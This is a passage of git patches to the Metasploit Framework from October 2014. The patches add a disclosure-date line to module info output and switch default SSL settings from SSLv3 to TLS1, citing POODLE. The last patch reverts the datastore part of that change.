'110555'] + [ 'OSVDB', '110555' ] ], 'Author' => 'Matthew Kienow ', 'License' => MSF_LICENSE From f612c8cd3ecc1382759fa8d814bae87e3f4239e9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 14 Oct 2014 15:15:24 -0500 Subject: [PATCH 103/107] Add disclosure date to info --- lib/msf/base/serializer/readable_text.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index fa46ccfc71..05bef93d0d 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -168,6 +168,7 @@ class ReadableText output << " Privileged: " + (mod.privileged? ? "Yes" : "No") + "\n" output << " License: #{mod.license}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" + output << " Disclosed: #{mod.disclosure_date}\n" output << "\n" # Authors @@ -223,6 +224,7 @@ class ReadableText output << " Module: #{mod.fullname}\n" output << " License: #{mod.license}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" + output << " Disclosed: #{mod.disclosure_date}\n" output << "\n" # Authors @@ -268,6 +270,7 @@ class ReadableText output << " Platform: #{mod.platform_to_s}\n" output << " Arch: #{mod.arch_to_s}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" + output << " Disclosed: #{mod.disclosure_date}\n" output << "\n" # Authors From e68aaa4226be3ba7b52b5e1f8de47485918d39d2 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 14 Oct 2014 15:58:52 -0500 Subject: [PATCH 104/107] Don't disclose empty disclosure dates For rapid7#4015 --- lib/msf/base/serializer/readable_text.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 05bef93d0d..c558a0117c 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -168,7 +168,7 @@ class ReadableText output << " Privileged: " + (mod.privileged? ? "Yes" : "No") + "\n" output << " License: #{mod.license}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" - output << " Disclosed: #{mod.disclosure_date}\n" + output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date output << "\n" # Authors @@ -224,7 +224,7 @@ class ReadableText output << " Module: #{mod.fullname}\n" output << " License: #{mod.license}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" - output << " Disclosed: #{mod.disclosure_date}\n" + output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date output << "\n" # Authors @@ -270,7 +270,7 @@ class ReadableText output << " Platform: #{mod.platform_to_s}\n" output << " Arch: #{mod.arch_to_s}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" - output << " Disclosed: #{mod.disclosure_date}\n" + output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date output << "\n" # Authors From 6cf62765de55ad91494e5fea5123ffc45c1fb85b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 15 Oct 2014 01:20:43 -0500 Subject: [PATCH 105/107] Default to TLSv1 for RPC connections --- lib/msf/core/rpc/v10/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/rpc/v10/client.rb b/lib/msf/core/rpc/v10/client.rb index a5b488a38d..7245102226 100644 --- a/lib/msf/core/rpc/v10/client.rb +++ b/lib/msf/core/rpc/v10/client.rb @@ -21,7 +21,7 @@ class Client :port => 3790, :uri => '/api/', :ssl => true, - :ssl_version => 'SSLv3', + :ssl_version => 'TLS1', :context => {} }.merge(info) From 1754b23ffb83832634151142b0c7c5fdc171bcf6 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 15 Oct 2014 10:28:53 -0500 Subject: [PATCH 106/107] Datastore options should default to TLS1, not SSL3 Otherwise, we risk getting our connections killed by particularly aggressive DPI devices (IPS, firewalls, etc) Squashed commit of the following: commit 5e203851d5c9dce1fe984b106ce3031a3653e54b Author: Tod Beardsley Date: Wed Oct 15 10:19:04 2014 -0500 Whoops missed one commit 477b15a08e06e74d725f1c45486b37e4b403e3c2 Author: Tod Beardsley Date: Wed Oct 15 10:16:59 2014 -0500 Other datastore options also want TLS1 as default commit 8d397bd9b500ff6a8462170b4c39849228494795 Author: Tod Beardsley Date: Wed Oct 15 10:12:06 2014 -0500 TCP datastore opts default to TLS1 Old encryption is old. See also: POODLE --- lib/msf/core/auxiliary/crawler.rb | 2 +- lib/msf/core/exploit/http/client.rb | 2 +- lib/msf/core/exploit/tcp.rb | 4 ++-- lib/rex/socket/parameters.rb | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 74b8ccc14b..16682e9087 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -44,7 +44,7 @@ module Auxiliary::HttpCrawler OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]), OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL23', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL23', 'SSL3', 'TLS1']]), ], self.class ) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index e662fe6cbc..c85c32d298 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -50,7 +50,7 @@ module Exploit::Remote::HttpClient OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']) ], self.class diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 43ca47f345..9fb60c4750 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -62,7 +62,7 @@ module Exploit::Remote::Tcp register_advanced_options( [ OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]), OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']), Opt::Proxies, @@ -290,7 +290,7 @@ module Exploit::Remote::TcpServer register_options( [ OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index ac6dd63168..6409559b1c 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -56,7 +56,7 @@ class Rex::Socket::Parameters # @option hash [Bool] 'Bool' Create a bare socket # @option hash [Bool] 'Server' Whether or not this should be a server # @option hash [Bool] 'SSL' Whether or not SSL should be used - # @option hash [String] 'SSLVersion' Specify SSL2, SSL3, or TLS1 (SSL3 is + # @option hash [String] 'SSLVersion' Specify SSL2, SSL3, or TLS1 (TLS1 is # default) # @option hash [String] 'SSLCert' A file containing an SSL certificate (for # server sockets) From c4d1a4c7dcd27d24e6467174f4d541fb82333b09 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 15 Oct 2014 12:31:44 -0500 Subject: [PATCH 107/107] Revert #4022, as the solution is incomplete Revert "Land 4022, datastore should default TLS1 vs SSL3" This reverts commit 4c8662c6c1171c8ccc161ed90aa144ba29e7de3b, reversing changes made to 0937f32ff9b9f3d150bb2caea12f21a845dd730c. --- lib/msf/core/auxiliary/crawler.rb | 2 +- lib/msf/core/exploit/http/client.rb | 2 +- lib/msf/core/exploit/tcp.rb | 4 ++-- lib/rex/socket/parameters.rb | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 16682e9087..74b8ccc14b 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -44,7 +44,7 @@ module Auxiliary::HttpCrawler OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]), OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL23', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL23', 'SSL3', 'TLS1']]), ], self.class ) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index c85c32d298..e662fe6cbc 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -50,7 +50,7 @@ module Exploit::Remote::HttpClient OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']) ], self.class diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 9fb60c4750..43ca47f345 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -62,7 +62,7 @@ module Exploit::Remote::Tcp register_advanced_options( [ OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]), OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']), Opt::Proxies, @@ -290,7 +290,7 @@ module Exploit::Remote::TcpServer register_options( [ OptBool.new('SSL', [ false, 'Negotiate SSL for incoming connections', false]), - OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]), + OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), OptAddress.new('SRVHOST', [ true, "The local host to listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]), diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 6409559b1c..ac6dd63168 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -56,7 +56,7 @@ class Rex::Socket::Parameters # @option hash [Bool] 'Bool' Create a bare socket # @option hash [Bool] 'Server' Whether or not this should be a server # @option hash [Bool] 'SSL' Whether or not SSL should be used - # @option hash [String] 'SSLVersion' Specify SSL2, SSL3, or TLS1 (TLS1 is + # @option hash [String] 'SSLVersion' Specify SSL2, SSL3, or TLS1 (SSL3 is # default) # @option hash [String] 'SSLCert' A file containing an SSL certificate (for # server sockets)